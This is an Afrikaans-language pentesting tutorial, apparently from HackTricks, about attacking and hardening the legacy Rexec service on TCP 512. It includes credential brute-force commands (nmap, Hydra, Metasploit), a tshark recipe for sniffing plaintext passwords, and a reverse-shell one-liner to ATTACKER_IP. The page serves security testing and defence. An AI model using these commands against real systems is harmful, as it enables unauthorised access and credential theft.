4.8 KiB
512 - Pentesting Rexec
{{#include ../banners/hacktricks-training.md}}
Basiese Inligting
Rexec (remote exec) is een van die oorspronklike Berkeley r-dienste suite (saam met rlogin
, rsh
, …). Dit bied 'n afgeleë opdrag-uitvoering vermoë geverifieer slegs met 'n duidelike teks gebruikersnaam en wagwoord. Die protokol is in die vroeë 1980's gedefinieer (sien RFC 1060) en word vandag beskou as onveilig deur ontwerp. Nietemin is dit steeds standaard geaktiveer in sommige erflike UNIX / netwerk-aangeskakelde toerusting en verskyn af en toe tydens interne pentests.
Standaard Poort: TCP 512 (exec
)
PORT STATE SERVICE
512/tcp open exec
🔥 Alle verkeer – insluitend geloofsbriewe – word ongeënkripteer oorgedra. Enige iemand met die vermoë om die netwerk te snuffel, kan die gebruikersnaam, wagwoord en opdrag herstel.
Protokol vinnige oorsig
- Kliënt verbind met TCP 512.
- Kliënt stuur drie NUL-beëindigde stringe:
- die poortnommer (as ASCII) waar dit wil ontvang stdout/stderr (dikwels
0
), - die gebruikersnaam,
- die wagwoord.
- 'n Finale NUL-beëindigde string met die opdrag om uit te voer, word gestuur.
- Die bediener antwoord met 'n enkele 8-bis statusbyte (0 = sukses,
1
= mislukking) gevolg deur die opdraguitset.
Dit beteken jy kan die uitruil herproduseer met niks meer as echo -e
en nc
:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
As die geloofsbriewe geldig is, sal jy die uitvoer van id
regstreeks terugkry op dieselfde verbinding.
Handmatige gebruik met die kliënt
Baie Linux verspreidings verskaf steeds die ou kliënt binne die inetutils-rexec / rsh-client pakket:
rexec -l user -p password <target> "uname -a"
As -p
weggelaat word, sal die kliënt interaktief vir die wagwoord vra (sigbaar op die draad in duidelike teks!).
Enumerasie & Brute-forcing
Brute-force
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
Die rexec-brute
NSE gebruik die protokol hierbo beskryf om akrediteerbesonderhede baie vinnig te probeer.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra
het 'n toegewyde rexec module en bly die vinnigste offline bruteforcer. medusa
(-M REXEC
) en ncrack
(rexec
module) kan op dieselfde manier gebruik word.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Die module sal 'n shell op sukses genereer en die geloofsbriewe in die databasis stoor.
Snuffel geloofsbriewe
Omdat alles in duidelike teks is, is netwerkopnames van onskatbare waarde. Met 'n kopie van die verkeer kan jy geloofsbriewe onttrek sonder om die teiken aan te raak:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark, stel Decode As … TCP 512 → REXEC in om mooi geparseerde velde te sien.)
Post-Exploitation wenke
- Opdragte word uitgevoer met die voorregte van die verskafde gebruiker. As
/etc/pam.d/rexec
verkeerd geconfigureer is (bv.pam_rootok
), is root shells soms moontlik. - Rexec ignoreer die gebruiker se shell en voer die opdrag uit via
/bin/sh -c <cmd>
. Jy kan dus tipiese shell-escape truuks (;
,$( )
, backticks) gebruik om verskeie opdragte te ketting of om omgekeerde shells te genereer:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Wagwoorde word dikwels gestoor in ~/.netrc op ander stelsels; as jy een gasheer kompromitteer, kan jy dit hergebruik vir laterale beweging.
Versterking / Ontdekking
- Moet nie rexec blootstel nie; vervang dit met SSH. Virtueel alle moderne inetd superservers kommentaar die diens standaard uit.
- As jy dit moet hou, beperk toegang met TCP wrappers (
/etc/hosts.allow
) of firewall reëls en handhaaf sterk per-rekening wagwoorde. - Monitor vir verkeer na :512 en vir
rexecd
proseslanse. 'n Enkele pakketvang is genoeg om 'n kompromie te ontdek. - Deaktiveer
rexec
,rlogin
,rsh
saam – hulle deel die meeste van dieselfde kodebasis en swakhede.
Verwysings
- Nmap NSE
rexec-brute
dokumentasie – https://nmap.org/nsedoc/scripts/rexec-brute.html - Rapid7 Metasploit module
auxiliary/scanner/rservices/rexec_login
– https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login {{#include ../banners/hacktricks-training.md}}